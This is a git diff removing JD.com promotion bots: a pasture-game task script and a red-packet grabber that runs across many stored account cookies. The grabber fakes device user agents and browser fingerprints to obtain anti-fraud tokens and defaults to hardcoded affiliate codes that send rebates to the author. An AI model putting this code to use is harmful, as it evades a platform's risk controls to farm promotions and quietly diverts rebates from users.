console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - // console.log(data) - if (data.data && data.data[0]) { - $.pparam = data.data[0].id - $.vid = data.data[0].venderId - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// 获取浏览商品 -function writePersonInfo(vid) { - return new Promise(resolve => { - let body = `jdActivityId=1404370&pin=${encodeURIComponent($.pin)}&actionType=5&venderId=${vid}&activityId=90121061401` - - $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log("浏览:" + $.vid) - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function feed() { - return new Promise(resolve => { - let body = `activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.uuid}` - $.post(taskPostUrl('/dingzhi/qqxing/pasture/feed', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.data && data.result) { - console.log(`喂食成功`) - $.foodNum -= 100 - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//兑换商品 -function exchange(id) { - return new Promise(resolve => { - let body = `pid=${id}&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=` - $.post(taskPostUrl('/dingzhi/qqxing/pasture/exchange?_', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - // console.log() - if (data.result) { - console.log(`兑换 ${data.data.rewardName}成功`) - $.exchange += 20 - } else { - console.log(JSON.stringify(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function dotask(taskId, params) { - let config = taskPostUrl("/dingzhi/qqxing/pasture/doTask", `taskId=${taskId}&${params ? ("param=" + params + "&") : ""}activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.shareuuid}`) - // console.log(config) - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.result) { - if (data.data.food) { - console.log("操作成功,获得饲料: " + data.data.food + " 抽奖机会:" + data.data.drawChance + " 成长值:" + data.data.growUp) - } - } else { - console.log(data.errorMessage) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) - -} - -function draw() { - let config = taskPostUrl("/dingzhi/qqxing/pasture/luckydraw", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=`) - // console.log(config) - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.result) { - if (Object.keys(data.data).length == 0) { - console.log("抽奖成功,恭喜你抽了个寂寞: ") - } else { - console.log(`恭喜你抽中 ${data.data.prize.rewardName}`) - $.drawresult += `恭喜你抽中 ${data.data.prize.rewardName} ` - } - } else { - console.log(data.errorMessage) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function taskUrl(url, body) { - const time = Date.now(); - // console.log(cookie) - return { - url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/json', - // 'X-Requested-With': 'XMLHttpRequest', - 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', - 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, - } - } -} - - - -function taskPostUrl(url, body) { - return { - url: `https://lzdz-isv.isvjcloud.com${url}`, - body: body, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', - 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};`, - } - } -} - - - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_red.js b/backUp/jd_red.js deleted file mode 100644 index 6347704..0000000 --- a/backUp/jd_red.js +++ /dev/null @@ -1,2745 +0,0 @@ -/* -双十一无门槛红包 -cron 0,30 0,12,19 jd_red.js -添加环境变量FLCODE 如需自己吃返利,请填写该变量(https://u.jd.com/后面的英文) -* */ -const $ = new Env('抢双11无门槛红包'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let cookiesArr = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -let cookie = ''; -$.shareCode = ''; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - //await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main() - } - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}); - -async function main() { - let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460622;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` - $.max = false; - $.hotFlag = false; - const flCodeArr = ['3K9D5Kc', '3IVMKm8', '3I9UVcJ', '3IXbyRK', '3wVdViu']; - const flCode = $.isNode() ? (process.env.FLCODE ? process.env.FLCODE : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]) : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]; - $.code = flCode; - for (let i = 0; i < 10 && !$.max; i++) { - $.newCookie = ''; - $.url1 = ''; - $.url2 = ''; - $.eid = ''; - await getInfo1(); - if (!$.url1) { - console.log(`${userName},初始化1失败,可能黑号`); - $.hotFlag = true; - break; - } - await getInfo2(); - if (!$.url2) { - console.log(`${userName},初始化2失败,可能黑号`); - $.hotFlag = true; - break; - } - $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq'; - let arr = await getBody($.UA, $.url2); - await getEid(arr) - console.log(`$.actId:` + $.actId) - if ($.eid) { - if (i === 0 && $.shareCode) { - await getCoupons($.shareCode); - } else { - await getCoupons(""); - } - } - await $.wait(5000) - } - // if ($.index === 1 && !$.hotFlag) { - // await $.wait(2000) - // await mainInfo() - // } -} - -function mainInfo() { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${$.code}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${$.newCookie}`, - "User-Agent": $.UA, - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - } else { - let res = $.toObj(data, data); - if (typeof res == 'object') { - if (res.code == 0 && res.data && res.data.shareUrl) { - $.shareCode = res.data.shareUrl.match(/$.code\?s=([^&]+)/) && res.data.shareUrl.match(/$.code\?s=([^&]+)/)[1] || '' - console.log('助力码:' + $.shareCode) - } - } else { - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -async function getCoupons(shareCode) { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${$.code}%22,%22unionShareId%22:%22${shareCode}%22,%22type%22:1,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${$.newCookie}`, - 'user-agent': $.UA - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data, data); - if (typeof res == 'object') { - if (res.msg) { - console.log('异常:' + res.msg) - } - if (res.msg.indexOf('上限') !== -1 || res.msg.indexOf('未登录') !== -1) { - $.max = true; - } - if ($.shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined') { - console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) - } - if (res.code == 0 && res.data) { - if (res.data.type == 1) { - console.log(`获得红包:${res.data.discount}元`) - } else if (res.data.type == 3) { - console.log(`获得优惠券:️满${res.data.quota}减${res.data.discount}`) - } else if (res.data.type == 6) { - console.log(`获得打折券:满${res.data.quota}打${res.data.discount * 10}折`) - } else { - console.log(`获得未知${res.data.quota || ''} ${res.data.discount}`) - console.log(data) - } - } - } else { - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function getInfo2() { - return new Promise(resolve => { - const options = { - url: $.url1, - followRedirect: false, - headers: { - 'Cookie': `${cookie} ${$.newCookie}`, - 'user-agent': $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' - let setcookie = '' - if (setcookies) { - if (typeof setcookies != 'object') { - setcookie = setcookies.split(',') - } else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if (name.split("=")[1]) { - if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' - } - } - } - $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' - $.url2 = decodeURIComponent($.url2) - $.url2 = $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -async function getInfo1(cookie) { - return new Promise(resolve => { - const options = { - url: `https://u.jd.com/${$.code}?s=${$.shareCode}`, - followRedirect: false, - headers: { - 'Cookie': cookie, - 'user-agent': $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || ''; - let setcookie = '' - if (setcookies) { - if (typeof setcookies != 'object') { - setcookie = setcookies.split(',') - } else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if (name.split("=")[1]) { - if ($.newCookie.indexOf(name.split("=")[1]) == -1) $.newCookie += name.replace(/ /g, '') + '; ' - } - } - } - $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -const navigator = { - userAgent: require('./USER_AGENTS').USER_AGENT, - plugins: {length: 0}, - language: "zh-CN", -}; -const screen = { - availHeight: 812, - availWidth: 375, - colorDepth: 24, - height: 812, - width: 375, - pixelDepth: 24, - -} -const window = {} -const document = { - location: { - "ancestorOrigins": {}, - "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - "origin": "https://prodev.m.jd.com", - "protocol": "https:", - "host": "prodev.m.jd.com", - "hostname": "prodev.m.jd.com", - "port": "", - "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - "search": "", - "hash": "" - } -}; -var start_time = (new Date).getTime(), - _jdfp_canvas_md5 = "", - _jdfp_webgl_md5 = "", - _fingerprint_step = 1, - _JdEid = "", - _eidFlag = !1, - risk_jd_local_fingerprint = "", - _jd_e_joint_; - -function t(a) { - if (null == a || void 0 == a || "" == a) return "NA"; - if (null == a || void 0 == a || "" == a) var b = ""; - else { - b = []; - for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 - } - a = 8 * a.length; - b[a >> 5] |= 128 << a % 32; - b[(a + 64 >>> 9 << 4) + 14] = a; - a = 1732584193; - c = -271733879; - for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { - var z = a, - C = c, - D = l, - B = h; - a = v(a, c, l, h, b[q + 0], 7, -680876936); - h = v(h, a, c, l, b[q + 1], 12, -389564586); - l = v(l, h, a, c, b[q + 2], 17, 606105819); - c = v(c, l, h, a, b[q + 3], 22, -1044525330); - a = v(a, c, l, h, b[q + 4], 7, -176418897); - h = v(h, a, c, l, b[q + 5], 12, 1200080426); - l = v(l, h, a, c, b[q + 6], 17, -1473231341); - c = v(c, l, h, a, b[q + 7], 22, -45705983); - a = v(a, c, l, h, b[q + 8], 7, 1770035416); - h = v(h, a, c, l, b[q + 9], 12, -1958414417); - l = v(l, h, a, c, b[q + 10], 17, -42063); - c = v(c, l, h, a, b[q + 11], 22, -1990404162); - a = v(a, c, l, h, b[q + 12], 7, 1804603682); - h = v(h, a, c, l, b[q + 13], 12, -40341101); - l = v(l, h, a, c, b[q + 14], 17, -1502002290); - c = v(c, l, h, a, b[q + 15], 22, 1236535329); - a = x(a, c, l, h, b[q + 1], 5, -165796510); - h = x(h, a, c, l, b[q + 6], 9, -1069501632); - l = x(l, h, a, c, b[q + 11], 14, 643717713); - c = x(c, l, h, a, b[q + 0], 20, -373897302); - a = x(a, c, l, h, b[q + 5], 5, -701558691); - h = x(h, a, c, l, b[q + 10], 9, 38016083); - l = x(l, h, a, c, b[q + 15], 14, -660478335); - c = x(c, l, h, a, b[q + 4], 20, -405537848); - a = x(a, c, l, h, b[q + 9], 5, 568446438); - h = x(h, a, c, l, b[q + 14], 9, -1019803690); - l = x(l, h, a, c, b[q + 3], 14, -187363961); - c = x(c, l, h, a, b[q + 8], 20, 1163531501); - a = x(a, c, l, h, b[q + 13], 5, -1444681467); - h = x(h, a, c, l, b[q + 2], 9, -51403784); - l = x(l, h, a, c, b[q + 7], 14, 1735328473); - c = x(c, l, h, a, b[q + 12], 20, -1926607734); - a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); - h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); - l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); - c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); - a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); - h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); - l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); - c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); - a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); - h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); - l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); - c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); - a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); - h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); - l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); - c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); - a = w(a, c, l, h, b[q + 0], 6, -198630844); - h = w(h, a, c, l, b[q + 7], 10, 1126891415); - l = w(l, h, a, c, b[q + 14], 15, -1416354905); - c = w(c, l, h, a, b[q + 5], 21, -57434055); - a = w(a, c, l, h, b[q + 12], 6, 1700485571); - h = w(h, a, c, l, b[q + 3], 10, -1894986606); - l = w(l, h, a, c, b[q + 10], 15, -1051523); - c = w(c, l, h, a, b[q + 1], 21, -2054922799); - a = w(a, c, l, h, b[q + 8], 6, 1873313359); - h = w(h, a, c, l, b[q + 15], 10, -30611744); - l = w(l, h, a, c, b[q + 6], 15, -1560198380); - c = w(c, l, h, a, b[q + 13], 21, 1309151649); - a = w(a, c, l, h, b[q + 4], 6, -145523070); - h = w(h, a, c, l, b[q + 11], 10, -1120210379); - l = w(l, h, a, c, b[q + 2], 15, 718787259); - c = w(c, l, h, a, b[q + 9], 21, -343485551); - a = A(a, z); - c = A(c, C); - l = A(l, D); - h = A(h, B) - } - b = [a, c, l, h]; - a = ""; - for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + - 